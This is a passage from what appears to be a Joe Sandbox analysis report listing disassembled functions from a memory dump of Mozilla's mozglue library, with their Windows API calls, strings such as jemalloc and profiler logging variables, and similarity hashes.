?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DC9
std::_Facet_Register.LIBCPMT ref: 6C9B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E45

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction ID: 986482af42913d889fa8551e66f2f1c07d4f3915cc1bd64038be01e92479de3a
Opcode Fuzzy Hash: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction Fuzzy Hash: 6441A270704304AFDB00DFA5C898AAE77BAEF9D314F144168E50AAB791DB30ED45CB61

Function 6C98CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9531A7), ref: 6C98CDDD

Strings

<jemalloc>, xrefs: 6C98CF9F, 6C98CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C98CFA4, 6C98CFB8

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction ID: 5a446591d9664db63465df0601bcf780b2761a0262ced7f2eb7ce6c0ce538875
Opcode Fuzzy Hash: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction Fuzzy Hash: FB31A5317466055BFB00AFA98C45BAE7B79BB41B54F304A18F614FBA80DB70E8508BA1

Function 6C95ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C95ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C95EDCC
CreateFileW.KERNEL32 ref: 6C95EE08
free.MOZGLUE(00000000), ref: 6C95EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C95EE32

Part of subcall function 6C95EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C95EBB5
Part of subcall function 6C95EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C98D7F3), ref: 6C95EBC3
Part of subcall function 6C95EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C98D7F3), ref: 6C95EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C95EDC1

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction ID: f8fcefda8028ca5365f535d4d4c7275449c6d16ec69aea3a88e6b11d8aaeb7d5
Opcode Fuzzy Hash: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction Fuzzy Hash: 1E51E471E053048BDB01DF68D8446EEB7B4AF69318F84842DE85577780E736E998C7E2

Function 6C9CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA565

Part of subcall function 6C9CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CA4BE
Part of subcall function 6C9CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9CA6B6

Strings

z, xrefs: 6C9CA6AE
0, xrefs: 6C9CA5FB

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction ID: 39c2075a9108b021f6ccd9e90dc490614a935261fe4c86eba3e5406684d4ba8f
Opcode Fuzzy Hash: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction Fuzzy Hash: E1411571A097459FC341DF28C480A9EBBE5BF99354F408A2EF49987650EB30E649CB83

Function 6C9578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9D008B), ref: 6C957B89
free.MOZGLUE(?,6C9D008B), ref: 6C957BAC

Part of subcall function 6C9578C0: free.MOZGLUE(?,6C9D008B), ref: 6C957BCF

free.MOZGLUE(?,6C9D008B), ref: 6C957BF2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction ID: 5c69b13714031e60bac5e4748cd1f4d6f840b54876e96ee0871369d76e72af8e
Opcode Fuzzy Hash: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction Fuzzy Hash: BFC1D571E111288BEB24CB28CC90BADB772AF51314F9583A9D41AABBC0C731DF958F51

Function 6C999420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
__Init_thread_footer.LIBCMT ref: 6C99949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C99947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C99946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C999459

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction ID: 0060e0053e48fd227103280c745b42c4851acb221d50019b609d9371d7c825ba
Opcode Fuzzy Hash: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction Fuzzy Hash: 24014C30A049008BDF009B5CD806A4933B99B4673EF1A8537DC0EA7B51D731F5E48957

Function 6C9A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A0F88
GetCurrentThreadId.KERNEL32 ref: 6C9A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9A114B

Part of subcall function 6C998AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9B1563), ref: 6C998BD5

free.MOZGLUE(?), ref: 6C9A1174
free.MOZGLUE(?), ref: 6C9A1186

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction ID: 648c00c2e434485eead290350164773a41767400858ae7ae70d9d001ba757811
Opcode Fuzzy Hash: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction Fuzzy Hash: EB61C0756087409BDB10CF65C88079AB7F5BFE6308F14891DE88957711EB31E59ACB82

Function 6C95B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6AC

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C95B61E), ref: 6C95B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B79A

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction ID: b516a2354dfa021fb43a24e7c9b1a939dac2c0a3959cf5535051a4fa64861aff
Opcode Fuzzy Hash: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction Fuzzy Hash: A441B4B2D001159FCB04DF68DC905AEBBB9BF54324F650629E825E7B80E731E9148BE2

Function 6C95EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9D5104), ref: 6C95EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95EFEC
free.MOZGLUE(?), ref: 6C95F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C95F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95F065
moz_xmalloc.MOZGLUE ref: 6C95F072

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction ID: 146f2bb342db8a7aa6bd0efe71a3012a5e293157081bace1c5bacf8673975fb6
Opcode Fuzzy Hash: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction Fuzzy Hash: 4C41D8B1A001059FCB08CF78D8809BE7769AF94328B240228E825D7794EB31E925C7E1

Function 6C9CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CB5F4
__Init_thread_footer.LIBCMT ref: 6C9CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9CB61F
std::_Facet_Register.LIBCPMT ref: 6C9CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB655

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction ID: 5a51aad46e7618017a0a5dad08e710467d91c62202b3c6104c23169ecf2d6adf
Opcode Fuzzy Hash: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction Fuzzy Hash: CE319171B04604CBCB00DFA9C8599AEB7F5FF9A325B250519D902A7780DB31F94ACB92

Function 6C969830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9B7ABE), ref: 6C96985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9B7ABE), ref: 6C9698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C969909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C969918
free.MOZGLUE(?), ref: 6C969975

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction ID: 315f7fbe94da587da728d85a16304f4067f99594be10b55fb17a2c376845603a
Opcode Fuzzy Hash: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction Fuzzy Hash: C471AA746047068FD724CF29C480966BBF5FF4A3287254AADE85A8BF90D731F841CB91

Function 6C96B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE), ref: 6C96B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B896

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction ID: 246f456b76d7412a1ea2c0a98076613406390562ee2cffc32c3731d00e4ffd17
Opcode Fuzzy Hash: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction Fuzzy Hash: 3E519C757046008FDB24CF5AC484A2AB7F5FF89318B69859DE98A97B81D731EC01DB80

Function 6C9A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A1DDA

Part of subcall function 6C9A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9A1F03
Part of subcall function 6C9A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9A1DF2,00000000,00000000), ref: 6C9A1F0C
Part of subcall function 6C9A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9A1DF4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction ID: 069d8256c4beba576eed91c856fefd64cfa7b12fa5074811dcdac2462626f73d
Opcode Fuzzy Hash: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction Fuzzy Hash: B54145B5204B01DFCB10DF69C488A56BBF9FB99714F20442EE95A87B41CB71F854CB91

Function 6C9638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,?,6C963899,?), ref: 6C9638B2
ReleaseSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,6C963899,?), ref: 6C9638C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C963899,?), ref: 6C9638F1
RtlFreeHeap.NTDLL ref: 6C963920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C963899,?), ref: 6C96392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C963899,?), ref: 6C963943
RtlFreeHeap.NTDLL ref: 6C96396E

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction ID: f9de067691d91b87a0a44fd442d7e2c6e8e41b5543c4b44dbf52ae36c0791fc8
Opcode Fuzzy Hash: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction Fuzzy Hash: C721BF72600A10DFE7209F26C880B96BBA9FF55328F258469D95A97F90C730E985CB91

Function 6C9984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9984F3
